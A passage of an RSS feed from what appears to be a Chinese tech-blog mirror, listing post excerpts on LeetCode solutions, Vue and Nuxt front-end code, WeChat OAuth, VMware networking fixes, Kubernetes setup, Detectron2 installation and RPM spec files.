      <description>DMA_API_DEBUG&#xA;为了debug驱动程序及发现使用DMA-API时的bug，检测代码可以编译到kernel中，它们可以告诉开发 者那些违规行为。如果你的体系结构支持，你可以选择编译选项“Enable debugging of DMA-API usage”，使能这个选项会影响系统性能，所以请勿在产品内核中加入该选项。</description>
    </item>
    <item>
      <title>[LeetCode 21,26,27][简单]合并两个有序链表/删除排序数组中的重复项/移除元素</title>
      <link>https://bchobby.github.io/posts/93ee67d33ea0d6a2710fdbe71ed47bea/</link>
      <pubDate>Thu, 23 Jan 2020 03:32:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/93ee67d33ea0d6a2710fdbe71ed47bea/</guid>
      <description>21.合并两个有序链表 题目链接&#xA;直接比过去，把原来的链表拼起来，当然也可以拿值new过去。&#xA;/** * Definition for singly-linked list. * struct ListNode { * int val; * ListNode *next; * ListNode(int x) : val(x), next(NULL) {} * }; */ class Solution { public: ListNode* mergeTwoLists(ListNode* l1, ListNode* l2) { ListNode *ans = new ListNode(0); ListNode *head = ans; while(l1!=NULL&amp;amp;&amp;amp;l2!=NULL){ if(l1-&amp;gt;val&amp;lt;l2-&amp;gt;val){ans-&amp;gt;next = l1;l1 = l1-&amp;gt;next;} else {ans-&amp;gt;next = l2;l2 = l2-&amp;gt;next;} ans = ans-&amp;gt;next; } if(l1!=NULL)ans-&amp;gt;next = l1; if(l2!=NULL)ans-&amp;gt;next = l2; return head-&amp;gt;next; } }; //把上面的ans-&amp;gt;next = l1替换为ans-&amp;gt;next = new ListNode(l1-&amp;gt;val)也可以(l1,l2都要换) 好久都没有写过带指针的东西了</description>
    </item>
    <item>
      <title>这几个相见恨晚的顶级资源网站，不知道实在是太可惜了！</title>
      <link>https://bchobby.github.io/posts/f572625067fb8bf706f119ef493cdac4/</link>
      <pubDate>Wed, 22 Jan 2020 22:48:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f572625067fb8bf706f119ef493cdac4/</guid>
      <description>二维码生成与制作 www.wwei.cn 菜鸟教程，程序员必备www.runoob.com 办公资源 www.bangongziyuan.com 视频网站 www.bilibili.com 持续更新…</description>
    </item>
    <item>
      <title>（前端学习）寒假第一周周报</title>
      <link>https://bchobby.github.io/posts/495f9f9bf2a0376a3bd79e78590a2223/</link>
      <pubDate>Mon, 20 Jan 2020 15:00:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/495f9f9bf2a0376a3bd79e78590a2223/</guid>
      <description>了解了一下前端学习的路线，我有点震惊，学习的东西真的很多很多，如下:&#xA;原来css也只是准备工作，不禁感慨任重而道远&#xA;附带一张我HTML和css的视频学习进度&#xA;这周学习完了HTML和css中的属性和一部分选择器&#xA;HTML—给网页的内容添加语义，而不是改变样式 1.首先了解了五大浏览器&#xA;浏览器IEFirefox火狐chrome谷歌opera欧朋safarimac自带 ps:我的认知水平仅限于知道它们的名字（惭愧）&#xA;2. 字符集:字符集合，将字符排序并标上序号&#xA;字符编码:规定标上序号的字符储存的方式&#xA;字符编码储存内容ASCII只储存了英文字母及字符GB2312储存了简体中文字符GBK储存了简体和繁体中文字符UNICODE分为UCS和UTF，其中UTF包括UTF-8，UTF-16，UTF-32 3.网页编写代码的格式:&#xA;&amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html lang=&#34;en&#34;&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta charset=&#34;UTF-8&#34;&amp;gt; &amp;lt;meta name=&#34;viewport&#34; content=&#34;width=device-width, initial-scale=1.0&#34;&amp;gt; &amp;lt;meta http-equiv=&#34;X-UA-Compatible&#34; content=&#34;ie=edge&#34;&amp;gt; &amp;lt;title&amp;gt;Document&amp;lt;/title&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body&amp;gt; &amp;lt;/body&amp;gt; &amp;lt;/html&amp;gt; 4.基础标签&#xA;标签作用H系列标签h1~h6 ，给文本定义标题p标签定义段落Hr标签显示分割线img标签插入图片a标签超链接，控制页面之间的跳转base标签统一超链接如何打开br标签定义换行title标签定义网站的标题注释&amp;lt; !- -内容- -&amp;gt;或者/**/锚点例如点击头部跳转到中部或者尾部假链接点击之后不会跳转 练习：&#xA;5.列表&#xA;有序列表（ordered list) &amp;lt;ol&amp;gt; &amp;lt;li&amp;gt;需要显示的内容&amp;lt;/li&amp;gt; &amp;lt;/ol&amp;gt; 无序列表(unordered list)（前面会有小圆点）&#xA;例如新闻列表&#xA;&amp;lt;ul&amp;gt; &amp;lt;li&amp;gt;需要显示的内容&amp;lt;/li&amp;gt; &amp;lt;/ul&amp;gt; eg:&#xA;效果图&#xA;定义列表 例如京东网站尾部的信息&#xA;eg：&#xA;&amp;lt;dl&amp;gt; &amp;lt;dt&amp;gt;&amp;lt;/dt&amp;gt;//定义列表中的标题 &amp;lt;dd&amp;gt;&amp;lt;/dd&amp;gt;//定义标题下的内容 &amp;lt;/dl&amp;gt; 6.表格标签&#xA;格式: &amp;lt;table&amp;gt; &amp;lt;tr&amp;gt;//行 &amp;lt;td&amp;gt;显示的内容&amp;lt;/td&amp;gt;//小格 &amp;lt;/tr&amp;gt; &amp;lt;/table&amp;gt; 细线表格 &amp;lt;table bgcolor=&#34;</description>
    </item>
    <item>
      <title>vue 引入原生高德地图API</title>
      <link>https://bchobby.github.io/posts/06ba851e31dd6e1d3ff37b1cab45ba68/</link>
      <pubDate>Sun, 19 Jan 2020 14:25:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/06ba851e31dd6e1d3ff37b1cab45ba68/</guid>
      <description>第一步 在index.html中引入&#xA;第二步在根目录下创建 vue.config.js 文件&#xA;module.exports = { configureWebpack: { externals: { &#39;AMap&#39;: &#39;AMap&#39;, &#39;AMapUI&#39;: &#39;AMapUI&#39; } } }; &amp;lt;template&amp;gt; &amp;lt;div class=&#34;home&#34;&amp;gt; &amp;lt;div id=&#34;container&#34; style=&#34;width:100%;height:600px&#34;&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script&amp;gt; export default { name: &#34;Home&#34;, data() { return { map: null, //地图w infowindowL: null, //信息窗体 list: [ //数据j { lng: 121.5273285, lat: 31.25515044, url: &#34;../assets/img/student.png&#34;, title: &#34;测试啊&#34;, name: &#34;李逍遥&#34;, tel: &#34;13762155556&#34;, id: &#34;1&#34;, path: [ [121.5389385, 31.21515044], [121.5389385, 31.29615044], [121.5273285, 31.21515044], [121.</description>
    </item>
    <item>
      <title>nuxt vue中刷新vuex state 数据丢失解决方案</title>
      <link>https://bchobby.github.io/posts/7437dd79fdbebf13af4f9afcfc0d70bc/</link>
      <pubDate>Sat, 18 Jan 2020 18:39:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7437dd79fdbebf13af4f9afcfc0d70bc/</guid>
      <description>nuxt 1 配置插件（），太简单就不说了。&#xA;注意：要禁止服务端运行，不然会报错，这个事件是在客户端添加的，不是在服务端小渲染的时候添加的。&#xA;2 写代码，如下。&#xA;export default function(ctx){ // 离开页面 window.addEventListener(&#39;beforeunload&#39;, ()=&amp;gt; { console.log(&#39;触发离开事件&#39;) sessionStorage.setItem(&#34;store&#34;,JSON.stringify(ctx.store.state)) }); // 页面加载完成 window.addEventListener(&#39;load&#39;, ()=&amp;gt; { console.log(&#39;触发加载完成事件&#39;) let storeCache = sessionStorage.getItem(&#34;store&#34;) if(storeCache != null&amp;amp;&amp;amp;storeCache != undefined&amp;amp;&amp;amp; storeCache!= &#39;&#39;){ // 普通的state属性高更改的话需要用mutations ，但是如果你修改的是state 根属性的时候，那么 // 就要使用replaceState 方法了。 ctx.store.replaceState(JSON.parse(storeCache)); } }); } vue vue 就更简单了，直接在main.js&#xA;的入口文件添加代码就可以了。</description>
    </item>
    <item>
      <title>微信公众号VUE项目获取code</title>
      <link>https://bchobby.github.io/posts/d7ff28e36b48df56624ddb263fa4ddbd/</link>
      <pubDate>Sat, 18 Jan 2020 16:51:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d7ff28e36b48df56624ddb263fa4ddbd/</guid>
      <description>在微信公众号的项目中难免会用到支付，用到支付后就必须前端拿到code后去换区openid，在微信公众号中获取授权的有两种方式，一种是静默授权，一种是非静默的授权，具体移步微信公众号开发文档&#xA;let origin = location.href; let urlNow =encodeURIComponent(origin);///netbar/api/wechat/v1/get_open_id let scope = &#39;snsapi_base&#39;; //snsapi_userinfo //静默授权 用户无感知 let appid = &#39;你的appid&#39;; let url = `https://open.weixin.qq.com/connect/oauth2/authorize?appid=${appid}&amp;amp;redirect_uri=${urlNow}&amp;amp;response_type=code&amp;amp;scope=${scope}&amp;amp;state=${state}#wechat_redirect` 微信公众号是通过微信的链接重定向来获取code，我们拿到code需要将code从地址上截取出来，下面是截取的方法&#xA;function getUrlKey(name) {//获取url 参数 // alert(&#34;location.href code = &#34;+&#34;=====&#34;+location.href); return decodeURIComponent((new RegExp(&#39;[?|&amp;amp;]&#39; + name + &#39;=&#39; + &#39;([^&amp;amp;;]+?)(&amp;amp;|#|;|$)&#39;).exec(location.href) || [, &#34;&#34;])[1].replace(/\+/g, &#39;%20&#39;)) || null; } 拿到code后我们把cide传给后台就行，还有在微信工号的后台配置js安全域名和网页授权域名，要不会提示redirect_uri和配置的域名不一致</description>
    </item>
    <item>
      <title>VMware已安装，出现没有虚拟网络适配器，windows不能访问虚拟机ip问题</title>
      <link>https://bchobby.github.io/posts/3bd00c46e064fef750e9f90ef7e3b7cc/</link>
      <pubDate>Sat, 18 Jan 2020 14:56:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3bd00c46e064fef750e9f90ef7e3b7cc/</guid>
      <description>遇到错误：安装VMware Workstation Pro这个软件，网络适配器中没有虚拟网卡，导致无法上网&#xA;解决方法：遇到这个问题，我就第一时间就去网上搜索解决方法，方案有很多，但是试了很多个还是不行，直到看到一个解决方案，便去试了试，最后还是解决了。这里，&#xA;打算把我解决这个问题的方法记录下来，以便日后再次使用&#xA;分析出现该问题的原因：如果你是第一个安装的话，出现这种情况很少，大多数出现这种情况的原因是：你之前也按照过后，但是你卸载的时候可能方法不对，导致VMware&#xA;Workstation Pro这软件没有完全删除干净。所以我的方案就是先把之前的删除干净之后，再进行安装。但是可能还有其他的原因导致安装后，&#xA;没有网络适配器，你跟着我的步骤，应该可以解决。&#xA;1、如果已经安装好了的话,请先卸载掉(也可以不卸载),我是卸载掉的。&#xA;2、打开服务&#xA;3、找到下面这两个服务，设置成自动，最初始是手动的(下面这个是我之前已经设置好了的)&#xA;4、如果你已经安装了VMware的话，那么将VMware开头的改为禁用，如果VMware已经卸载的话，也看看有没有这个服务，有的话，也改为禁用吧（下面截图是我已经安装好了，只参考服务名，记住是VMware开头的）&#xA;5、上面的步骤做好了之后呢，下载工具包，然后解压。&#xA;链接: https://pan.baidu.com/s/10oiUKdy2TdwsGgKd8KDMPQ 提取码: ssge&#xA;（出现要注册购买的界面直接关闭就会打开此软件进行操作）&#xA;6、解压之后，打开CCleaner.exe文件，并点击到下面这个选项，点击扫描注册，并且修复选定问题&#xA;7、修复完毕之后呢，如果你之前安装过了，打开VMware这个软件，打开虚拟网络编辑器，这个虚拟网络编辑器在编辑选项下面，看到下面这个页面了，点击还原默认设置(在这之前先点击更改设置)，这样就可以解决了。如果你之前没有安装VMware的话，那就先安装吧，安装过后应该就会有虚拟网络适配器了。没有的话，再还原默认设置&#xA;可以通过搜索Workstation Pro找到虚拟网络编辑器&#xA;恢复默认之前必须关闭虚拟机。&#xA;8、再去网络连接那里，看看适配器，就会出现下面这个图&#xA;操作成功</description>
    </item>
    <item>
      <title>CentOS7.4环境下的K8S搭建</title>
      <link>https://bchobby.github.io/posts/b292a5a5c491135e3ccc9b2466fc3b1a/</link>
      <pubDate>Fri, 17 Jan 2020 15:14:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b292a5a5c491135e3ccc9b2466fc3b1a/</guid>
      <description>目录&#xA;1、k8s简介... 1&#xA;2、基础架构图... 1&#xA;2.1、master. 1&#xA;2.2、apiserver. 2&#xA;2.3、scheduler kubernetes. 2&#xA;2.4、Replication Controllers. 2&#xA;2.5、minion. 2&#xA;2.6、container. 2&#xA;2.7、 Pod. 3&#xA;2.8、Kube_proxy. 3&#xA;2.9、Etcd. 3&#xA;2.10、Services. 4&#xA;2.11、Labels 标签... 4&#xA;2.12、 Deployment. 4&#xA;2.13、Kubelet命令... 4&#xA;2.14、总结... 5&#xA;2.14.1、Kubernetes的架构... 5&#xA;2.14.2、Replication controller. 5&#xA;2.14.3、service. 5&#xA;2.14.4、Kubernetes. 5&#xA;2.14.5、pod. 5&#xA;3、环境规划... 5&#xA;4、环境准备... 6&#xA;4.1、配置k8s的yum源(master) 6&#xA;4.2、配置yum源（node1和node2）... 9&#xA;4.3、主机名规划... 10&#xA;4.4、配置/etc/hosts. 10&#xA;4.5、配置时间同步... 11&#xA;4.5.1、配置chrony服务端（master）... 11&#xA;4.5.2、配置chrony客户端（两个node节点都做）... 14&#xA;4.6、关闭防火墙... 15</description>
    </item>
    <item>
      <title>LeetCode 图解 | 21.合并两个有序链表</title>
      <link>https://bchobby.github.io/posts/f34a11d6400ef6b27a36ad8ca0a432fd/</link>
      <pubDate>Fri, 17 Jan 2020 12:15:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f34a11d6400ef6b27a36ad8ca0a432fd/</guid>
      <description>点击上方蓝字设为星标&#xA;下面开始今天的学习～&#xA;今天分享的题目来源于 LeetCode 上第 21 号问题：合并两个有序链表。&#xA;题目描述 将两个有序链表合并为一个新的有序链表并返回。新链表是通过拼接给定的两个链表的所有节点组成的。 示例：&#xA;输入：1-&amp;gt;3-&amp;gt;4, 2-&amp;gt;5-&amp;gt;6 输出：1-&amp;gt;2-&amp;gt;3-&amp;gt;4-&amp;gt;5-&amp;gt;6 题目解析 首先，设定一个虚拟节点 dummy 用来存储结果，循环对比 L1 和 L2 节点上的数字，通过调整 p节点的 next 指针来调整 dummy 的结果。&#xA;如果 L1 当前位置的值小于等于 L2 ，我们就把 L1 的值接在 dummy 节点的后面同时将 L1 指针往后移一个&#xA;如果 L2 当前位置的值小于 L2 ，我们就把 L2 的值接在 p 节点的后面同时将 L2 指针往后移一个&#xA;不管我们将哪一个元素接在了 p 节点后面，都需要向后移一个元素&#xA;重复以上过程，直到 L1 或者 L2 指向了 null 在循环终止的时候， L1 和 L2 至多有一个是非空的。由于输入的两个链表都是有序的，所以不管哪个链表是非空的，它包含的所有元素都比前面已经合并链表中的所有元素都要大。这意味着我们只需要简单地将非空链表接在合并链表的后面，并返回合并链表。&#xA;动画理解 代码实现 /** * Definition for singly-linked list.</description>
    </item>
    <item>
      <title>centos7 安装net-tools</title>
      <link>https://bchobby.github.io/posts/70edf600b96d936777642f95315e7120/</link>
      <pubDate>Fri, 17 Jan 2020 10:48:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/70edf600b96d936777642f95315e7120/</guid>
      <description> yum install -y net-tools </description>
    </item>
    <item>
      <title>两万字自动驾驶技术综述，你想知道的这里都有</title>
      <link>https://bchobby.github.io/posts/dae1893c000e500a2774e101d3f6e51a/</link>
      <pubDate>Thu, 16 Jan 2020 22:01:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dae1893c000e500a2774e101d3f6e51a/</guid>
      <description>文章目录 摘要引言前景与挑战系统构成和框架系统框架传感器和硬件 定位与建图GPS-IMU融合SLAM基于先验地图定位 感知检测基于图像的目标检测语义分割三维目标检测 目标跟踪道路和车道线检测 评估（ ASSESSMENT）总体风险和不确定性评估周围驾驶行为评估驾驶风格识别 规划与决策全局规划局部规划 人机交互数据集和开源工具数据集和标准开源框架和模拟器 总结参考文献 本文主要翻译自[A Survey of Autonomous Driving: Common Practices and Emerging Technologies]，结合我自己的理解做了一些精简和删改，希望能对大家有一些帮助，这篇文章很新很全，有时间的朋友建议一读。 摘要 本文主要讨论ADS（Autonomous Driving System）的主要问题以及相关技术层面的综述，包括以下几个方面，当前挑战，系统架构，新兴方法，核心功能（定位，建图，感知，规划，人机交互）等。文章最后介绍了相关可供测试开发的开源框架及仿真器。&#xA;引言 主要介绍了一些背景，提到了两个著名的自动驾驶研究项目&#xA;Eureka Project PROMETHEUS1：1987-1995年间在欧洲开展，是最早的主要自动化驾驶研究之一，戴姆勒-奔驰公司的VITA II也基于此而来。DARPA Grand Challenge2：美国国防部主办的业内最负盛名的挑战赛，许多经典的文章都来自于这里。 在传统的自动驾驶方案系统架构中，一般将任务划分为多个模块，并在各个模块上使用一系列传感器和算法。但是随着深度学习3的发展，逐渐出现了一些端到端的系统。ADS高级系统架构分类如下，主要是按连通性和算法实现逻辑划分，具体介绍在后面&#xA;前景与挑战 前景就不提了，自动驾驶不缺故事。&#xA;按照美国汽车工程师学会（SAE）的定义，汽车的自动化水平如下&#xA;L0：无自动化L1：原始驾驶员辅助系统（Primitive driver assistance systems），包括自适应巡航控制、防抱死制动等L2：部分自动化，先进的辅助系统（Advanced assistance systems），例如紧急制动或避免碰撞L3：有条件的全自动化（Conditional automation），在正常操作期间，驾驶员可以专注于除驾驶以外的其他任务，但是紧急情况下必须能快速响应并接管车辆L4：在天气条件许可，基础设施（信号地图等）完善的情况下，完全不需要驾驶员。L5：无论在任何场景下，都不需要驾驶员 目前尚无完全实现L4级别及以上的自动驾驶车辆。&#xA;系统构成和框架 系统框架 像引言中显示的那样，一般从系统框架上可以分为单车辆系统（Ego-only systems）和互联车辆系统（Connected multi-agent systems）；从算法实现上，可以分为两大类，一类是通过将各个部分模块化来实现，另一类是直接通过端到端的实现。&#xA;单车辆系统，顾名思义就是始终在一辆车自身执行所有必要的自动驾驶操作，而互联车辆系统可能需要依赖于其他车辆和一些基础设施来完成一些操作，比如现在比较火热的车辆网，V2X等。就目前来说，当然还是单车辆系统更为常见。&#xA;模块化系统（Modular systems），指将传感器输入到执行器输出的中间过程分别构造成一个个独立的模块，比如定位、建图、感知、评估、规划与决策、车辆控制、预测、人机交互等。模块化的基本逻辑就是分而治之，把一个复杂的任务分成若干个较为简单的子任务。除此之外，模块化还有一些隐藏的优势，比如说对一些约束（如紧急制动，超速等），多模块意味着可以从不同角度施加约束，可以保证在其中部分传感器出现偏差的时候仍能提供较为可靠的输出。反过来说，多模块也意外着出错的概率大大增加，某个模块的错误可能会沿着进程传播扩散，如前段时间的特斯拉事故，感知模块误将白色拖车分类为天空，即使后续模块完全正确执行，错误也无法避免。&#xA;端到端系统（End-to-end systems），指的是直接从感知输入产生输出，常见的端到端系统有三种主要方法：直接监督的深度学习（ Direct supervised deep learning）4、神经进化（Neuroevolution）5和深度强化学习（Deep reinforcement learning）6。一般端到端系统的流程图如下图所示&#xA;最早的端到端系统可以追溯到ALVINN4，他训练了一个三层全连接的网络来输出车辆的前进方向。文7提出了一种输入图像输出转向的深度卷积神经网络。8提出了一种时空网络结构，即FCN-LSTM，可以预测车辆的运动。9介绍了另一种卷积模型DeepDriving，可以从输入图像中学习一组离散的感知指标。实际上这种方法并不是严格端到端的，因为如何从一系列感知指标中得到正确的驾驶动作还需要另外的模块。上述的方法都是有监督的训练，也就是说需要一个专家的行为序列。那么就引入了另一个问题，自动驾驶系统是否应该像人一样开车？&#xA;基于上面那个问题，出现了一种新的深度强化学习模型Deep Q Networks（DQN），将强化学习与深度学习相结合。强化学习的目标是选择一组能最大化奖励的行动，深度卷积神经网络在这里的作用是用来逼近最优奖励函数。简单来说，基于DQN的系统不再是去模仿专家的行为，而是去学习一种“最佳”的驾驶方式6&#xA;最后一种神经进化是指利用进化算法来训练人工神经网络，但就实际而言，经进化的端到端驾驶不像DQN和直接监督学习那样受欢迎。神经网络的出发点是去除了反向传播，从逻辑上来说，更接近生物的神经网络。在[63]中，作者使用驾驶模拟器对RNN进行神经进化训练。&#xA;上述三种端到端自动驾驶的方法相比，直接监督学习的方法可以利用标记数据离线训练，而DQN和神经进化都需要在线交互。从理论上讲，端到端自动驾驶是可行的，但是还没有在真实的城市场景中实现（demo不算），最大的缺点是缺乏可解释性和硬编码安全措施（Hard coded safety measures）。</description>
    </item>
    <item>
      <title>Detectron2安装、使用与问题记录</title>
      <link>https://bchobby.github.io/posts/0598d0dfa6a005f1dd2866baaa207c2b/</link>
      <pubDate>Wed, 15 Jan 2020 18:41:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0598d0dfa6a005f1dd2866baaa207c2b/</guid>
      <description>Detectron2安装、使用与问题记录 detectron2是Facebook近期开源的框架，可以在Github上搜查到，本文总结了自己安装框架过程，以及自己碰到的一些问题和解决办法。&#xA;目录 Detectron2安装、使用与问题记录安装demo问题汇总 安装 环境构建：请尤其注意版本问题！！！ Python &amp;gt;= 3.6&#xA;如conda create -n abc pyhon=3.6.8&#xA;PyTorch 1.3与torchvision&#xA;conda install pytorch=1.3 torchvision cudatoolkit=10.0 -c pytorch&#xA;（请选择匹配的cudatoolkit版本，以便成功安装框架）&#xA;OpenCV&#xA;Cython&#xA;fvcore&#xA;pip install &#39;git+https://github.com/facebookresearch/fvcore&#39;&#xA;GCC &amp;gt;= 4.9&#xA;查看gcc版本&#xA;gcc -v&#xA;pycocotools&#xA;pip install git+https://github.com/cocodataset/cocoapi.git#subdirectory=PythonAPI 或&#xA;git clone https://github.com/cocodataset/cocoapi.git cd ./cocoapi/PythonAPI python setup.py build_ext install 安装detectron2 git clone https://github.com/facebookresearch/detectron2.git cd detectron2 python setup.py build develop #或 pip install -e . 运行后需要耐心等待一会，没有任何报错提示成功安装，就大功告成了&#xA;demo 自行从网络上下载一张图片，比如下图，将其放在 /detectron2/ 目录下，同时创建一个result文件夹：</description>
    </item>
    <item>
      <title>Caused by: java.lang.StackOverflowError: null 的解决办法</title>
      <link>https://bchobby.github.io/posts/23aedb5f787198b318f7fb8ab3c14dee/</link>
      <pubDate>Wed, 15 Jan 2020 15:54:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/23aedb5f787198b318f7fb8ab3c14dee/</guid>
      <description>灵感源于这个：https://blog.csdn.net/Hello_World_QWP/article/details/81353365?utm_source=blogxgwz3&#xA;原因是我在给前端做接口的时候，springboot+jpa，返回json对象，对象里面比较复杂，还掺杂了一个manytoone，导致了异常出现。改掉就解决了！</description>
    </item>
    <item>
      <title>RPM包制作：spec文件介绍</title>
      <link>https://bchobby.github.io/posts/bab498c087477bba411a47c2f3993f29/</link>
      <pubDate>Wed, 15 Jan 2020 09:22:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bab498c087477bba411a47c2f3993f29/</guid>
      <description>参考链接：&#xA;https://rpmbuildtut.wordpress.com/&#xA;https://rpm-packaging-guide.github.io/#packaging-software&#xA;https://rpm-packaging-guide.github.io/&#xA;http://rpm.org/index.html&#xA;spec文件参数介绍 spec文件可以理解为安装软件包时的配置文件，配合rpmbuild命令使用。&#xA;运行rpmbuild命令时，通过读取spec文件，按照spec中配置的参数，来安装软件包。&#xA;想写出spec文件，需要了解spec文件中各个参数的具体含义。spec文件参数说明如下。&#xA;Name: 软件包名称 Version:软件包主版本号 Release:软件包次版本号&#x9;Summary:摘要是对软件包的简短描述。 License: 授权协议，通用的是GPL。 URL: 在url下放置包的主页。 Source0: 源目录中tar源码包的名称。可以有很多个源码。 BuildRequires:列出创建包所需包的列表。 Requires:创建包所需依赖。 %description：描述不应与摘要相同。描述要更具体一些，但是不应太长。并且不要在描述句尾加句号。 %prep：表示预操作字段。在install之前执行（准备源码，唯一的操作是%setup -q） %setup -q ：表示构建BUILD环境，会解压压缩包到BUILD目录下。 %preun&#x9;:在uninstall之前执行 %post :在install 之后执行 %postun:在uninstall之后执行 %build ：表示通过直接调用源码目录中自动构建工具（比如说，configure文件）完成源码编译操作。 %configure: make：表示在源码目录中执行make命令。 %install ：安装字段。 %files：文件说明字段。告诉make install指令，需要安装那些文件。 %defattr(-,root,root,-) ：设置默认权限 %doc：标记所有的文本文件。 %doc docs/LICENSE：安装许可证。 %doc docs/README：安装README。 %changelog：更新日志。有固定格式(填错会报错)。比如说： *Sun Jul 13 2008 &amp;lt;bjlongo@ncsu.edu&amp;gt; 1 --Initial Build. --Added setup.py file. --Fixed bin/vpd, src/vpd.py. Copyright:软件包版权规则，GPL（自由软件），BSD，MIT， Public Domain（公共域）， Distributable（贡献）， commercial（商业），Share（共享）等。 Group:用于对包进行分类。可以查看/usr/share/doc/GROUPS文件中所有组的完整列表。 Buildroot:构建和安装包的位置 rpmbuild 命令的使用规则 首先使用命令：sudo yum -y install rpm-build安装rpmbuild。</description>
    </item>
    <item>
      <title>【架构】工程代码结构(附带NXP、ST官方demo)</title>
      <link>https://bchobby.github.io/posts/154b460dd525aa0f991df7ab5fe8c9b9/</link>
      <pubDate>Tue, 14 Jan 2020 20:06:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/154b460dd525aa0f991df7ab5fe8c9b9/</guid>
      <description>文章目录 1. 起因2. Demo结构解析2.1 ST公司的STM32Cube2.2 NXP公司的S32DS2.3 自己写的应用层 3. 实践 1. 起因 最近在做我们应用层内部代码从2.0到3.0版本的迁移，除了删减增加模块，规范写法，最主要的就是重新规划了代码的结构。我们代码的特点就是并行了很多项目，这些项目有共同的地方，又有区别。把哪些部分抽出来做共有库，哪些做自己的项目内部，makefile怎么构思(关于makefile我也会写一篇快速入门）。&#xA;有时候回头看看自己的代码，怎么可以写的这么乱，模块化一点都不好，接口乱七八糟。最近重构代码的冲动越来越强烈。&#xA;这么想想，小工程就算了，大一点的项目，还是应该提前把结构和接口设计好，代码怎么分层，功能怎么划分，再开始写。&#xA;不过很多工程，前期设计好了，也经不住需求的一再变更，改改改改，就变成了一坨忍不住想重写的翔……&#xA;算了不抱怨了，还是看看别人是怎么分层的。&#xA;2. Demo结构解析 这里列的几个例子不是linux应用层的，是单片机的demo。&#xA;2.1 ST公司的STM32Cube Cube版本：&#xA;简单来说，布局如下：&#xA;工程名&#xA;Document：文档Driver：硬件驱动 Bsp：板级的接口，比如串口、IO、定时器……CMSIS：内核接口，这个一般是内核厂家提供，代码不用改，STM32F7xx_HAL_Driver：ST厂家提供的HAL库，与以前提供的3.5的标准外设库属于同级，都是对寄存器配置的封装。HAL库是一个硬件抽象层，便于不同芯片之间的移植。（大家底层不一样，但是HAL库的接口都一样） Middleware：中间件包含的是一些位于系统代码和应用代码之间的，这里感觉就是在HAL库和用户调用之间又封装了一层，把一些协议栈封装进来了。 ST：ST自己的一些协议栈 STemWin：ST自己的界面STM32_Audio：音频驱动STM32_USB_Device_Library：封装了USB协议STM32_USB_Host_Library Third_Party：第三方库（协议栈） Fatfs：文件系统FreeRTOS：操作系统LwIP：IP协议栈…… Project：不同的项目，我理解应用层的代码都写在这里面，就是流程，对BSP的调用，对middleware的调用Utilities ：这一块不太懂，是公共库？公共资源？字库图库这些？xxxx.ioc ： 图形化配置文件，可以用CubeMx打开 2.2 NXP公司的S32DS S32DS版本：S32 Design Studio for Power Architecture Version: 2.1&#xA;NXP家的S32DS架构如下：&#xA;工程&#xA;Include：我理解是 应用层的头文件Generated Code：这个是根据图形化配置，系统自动生成的代码（配置数组），实际使用的使用，把这些配置数组加载到系统接口上就能实现对外设的配置。Project_Settings： Debugger：调试器配置Linker_File：链接.ld文件startup_code：启动代码，这个应该是厂家提供，不用改的 SDK plantform devices：设备driver：类似bsp，对寄存器操作的封装pal：NXP基于driver层上又封装了一层PAL层，把不同芯片的接口统一了。类似ST的HAL库，都是便于移植用的。 rtos FreeRTOS_PA:没啥说的，就是移植的freetososif： NXP自己的一个裸核的系统。bareMetal。 Source：我理解是应用层的代码Documentxxx.pe：图形化配置界面。xxx.ld：链接文件 2.3 自己写的应用层 这是我目前在整理的结构，个人感觉还挺好的，毕竟已经是做的第2次重构了，比较贴合我们的真实需求。&#xA;因为保密考虑，只列了一部分简单结构，能体现出来结构优势即可。&#xA;api：一些公有库的头文件 BaseApi lib BaseLib：包含一些硬件模块的驱动 Can：Can的驱动接口Gpio：Gpio的驱动接口NetSend：网络驱动接口I2C：I2C的驱动接口Uart：串口的驱动接口… Isp：摄像头芯片的图像调整Common：读写文件、读写DDR、时间获取Xcore：cache映射…… project：以上都属于共有库的部分，适合于一些项目来做开发，在project目录下，做不同项目的区别，流程、交互、协议等。 zu3_foresight main main.</description>
    </item>
    <item>
      <title>DRF(Django-Rest-FrameWork)非主外键自关联</title>
      <link>https://bchobby.github.io/posts/53ebfc030c77dc3fd519019bf8ef4864/</link>
      <pubDate>Tue, 14 Jan 2020 19:49:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/53ebfc030c77dc3fd519019bf8ef4864/</guid>
      <description>群:1051907485 这是一个菜单管理列表的小demo model.py class SysPermission(models.Model): id = models.CharField(db_column=&#39;Id&#39;, primary_key=True, max_length=50) # Field name made lowercase. parentid = models.CharField(db_column=&#39;ParentId&#39;, max_length=50, blank=True, null=True) # Field name made lowercase. layer = models.IntegerField(db_column=&#39;Layer&#39;, blank=True, null=True) # Field name made lowercase. encode = models.CharField(db_column=&#39;EnCode&#39;, max_length=50, blank=True, null=True) # Field name made lowercase. name = models.CharField(db_column=&#39;Name&#39;, max_length=50, blank=True, null=True) # Field name made lowercase. jsevent = models.CharField(db_column=&#39;JsEvent&#39;, max_length=50, blank=True, null=True) # Field name made lowercase. icon = models.</description>
    </item>
    <item>
      <title>Vue使用print.js连续打印多页A4表单</title>
      <link>https://bchobby.github.io/posts/c42e6a2fdc6706349c709840376cf9b8/</link>
      <pubDate>Tue, 14 Jan 2020 16:09:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c42e6a2fdc6706349c709840376cf9b8/</guid>
